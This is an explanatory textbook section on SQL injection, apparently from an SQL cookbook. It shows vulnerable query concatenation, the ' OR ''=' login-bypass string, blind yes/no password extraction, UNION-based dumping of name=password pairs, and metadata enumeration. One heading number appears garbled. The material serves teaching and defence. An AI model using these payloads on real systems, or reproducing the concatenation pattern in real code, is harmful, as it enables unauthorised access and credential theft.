To guard against an SQL injection attack you need to know the dangers.
If you have a name such as O'Reilly, you are probably quite used to seeing web pages such as the one shown in Figure 6-11, causing error messages such as the one shown in Figure 6-12.
Figure 6-11. Entering a name with an apostrophe
Figure 6-12. Error message due to unbalanced quotes
The cause of the error is a script that accepts a string from the user and places it directly into an SQL statement. You can also set up the system to hide the error more discreetly, so a system may be vulnerable to SQL injection even though it does not report an error like this.
In this case, the program to build the SQL query uses the variable entered on the web page form and directly embeds it in the query. The CGI variable is called n:
$qry = "SELECT * FROM table1 WHERE name='" . param("name") . "'"
When used as expected, qry will be a perfectly normal SQL statement, such as:
SELECT * FROM table1 WHERE name='Normal'
But if you enter the string O'Reilly the SQL statement in qry will become:
SELECT * FROM table1 WHERE name='O'Reilly'
The single quotes are now unbalanced, and when the query is sent to the database it generates a syntax error.
6.7.1. Fix the Bug
If you really want to enter the string O'Reilly you must escape it properly. It might be O''Reilly or O'Reilly, depending on the SQL engine and the programming language being used.
6.7.2. Exploit the Bug
You can now inject all kinds of SQL into the system. On older systems, you could even execute a completely new query, but that loophole has been closed for some time now in most of the popular scripting languages.
If the page you were on was a password check, you can now pass the test and get in without knowing any usernames or passwords. Of course, you can't see the source code, so you are just guessing, but a typical script will include something like this:
$sql = "SELECT name FROM users WHERE name='" . param("name") . "' AND passwd='" . param("passwd") . "'"; $dbh->prepare($sql);
The trick is to turn that SQL statement into something that will always return some rows. By choosing the right values for name and password, you could make the statement:
SELECT name FROM users WHERE name='' OR ''='' AND passwd= '' OR ''=''
To do that you have to choose the magic string ' OR ''=' as both your name and your password, as shown in Figure 6-13.
Figure 6-13. Gaining access with SQL injection
The odd-looking WHERE condition will always return true in MySQL, SQL Server, PostgreSQL, and Access:
mysql> SELECT name FROM users -> WHERE name='' OR ''='' AND passwd= '' OR ''=''; +-------+ | name | +-------+ | jake | | scott | +-------+
The condition w OR x AND y OR z is interpreted as (w OR x) AND (y OR z).
In Oracle, the condition ''='' evaluates to false but you can force the condition to be 'x'='x' if your target system uses Oracle.
With luck this will be enough to pass the test and get you into the system, as shown in Figure 6-14.
Figure 6-14. Access granted
Of course, you will not see the results of your query, but it will let you in as a registered user and it will probably tell you the username. In this case, this injection attack will log you in as jake.
6.7.3. Asking Yes/No Questions
If you can find a page that accepts the injection, you can access pretty well anything to which the SQL user account has access.
A good authentication system is like a taciturn doorman. You can ask questions such as "Is the username scott and the password tiger correct?" The doorman will just reply "yes" and let you in or "no" and invite you to try again. The doorman is infinitely patient, so you can make a million guesses at the password and he won't tire of answering you. A good password takes far more than a million guesses, so the site is relatively safe. (Highly secure systems such as banking sites will limit the number of password guesses you can have on a particular account name.)
With the SQL injection attack shown here, you have a doorman who is just as taciturn; he still answers only "yes" or "no." But now he will answer any SQL query. If you know the name of the password table you can ask questions such as "Is there a user starting with s?" or "Does Scott's password have a t in it?" If you've ever played Hangman or Twenty Questions, you know that yes/no questions can get you pretty much any information in a reasonable amount of time.
To find out whether the password for jake contains the letter w you do the following. Enter xxx as the username and ' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''=' as the password. If the system lets you in you know that Jake has a w in his password; you can then log out and try another letter. If the system doesn't let you in you know that the password does not contain that letter.
If you enter the username and password suggested, the following query will be executed on the server:
SELECT name FROM users WHERE name='xxx' AND passwd='' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''=''
The query returns a result only if the EXISTS clause yields TRue.
126.96.36.199. Some informative questions and their injection phrase
Here are some useful questions:
6.7.4. Asking for Strings
The login page or some other page may display values from the SQL query. If that is the case, you can start asking some better questions. Instead of guessing at characters in the password you can make the system tell you. You can turn that SQL statement into a UNION, for example (see Figure 6-15 and Figure 6-16):
SELECT name FROM users WHERE name='xxx' AND passwd='' UNION SELECT CONCAT(name,'=',password) FROM users WHERE ''=''
Figure 6-15. Injecting a UNION to gather passwords
Figure 6-16. Getting strings from the database
These queries work only if you know the name of the password table (users in this case). However, you can use similar techniques to find that out.
6.7.5. Getting the Metadata
You can investigate the list of tables by querying the metadata. In version 5 of MySQL, the details of the tables are in INFORMATION_SCHEMA.TABLES. In PostgreSQL, you will find similar information in pg_tables. SQL Server has SysObjects, Access has MSysObjects, and in Oracle you can look at CAT.
Figure 6-17. Obtaining metadata
Here's the corresponding SQL:
SELECT name FROM users WHERE name='xxx' AND passwd=' ' UNION SELECT CONVERT(table_name USING latin1) FROM INFORMATION_SCHEMA.TABLES WHERE table_name LIKE 'u%'
It can be hard work getting data out in this way, but it's nowhere near as hard as a brute force password attack.
6.7.7. See Also
Joins, Unions, and Views
Storing Small Amounts of Data
Locking and Performance
Users and Administration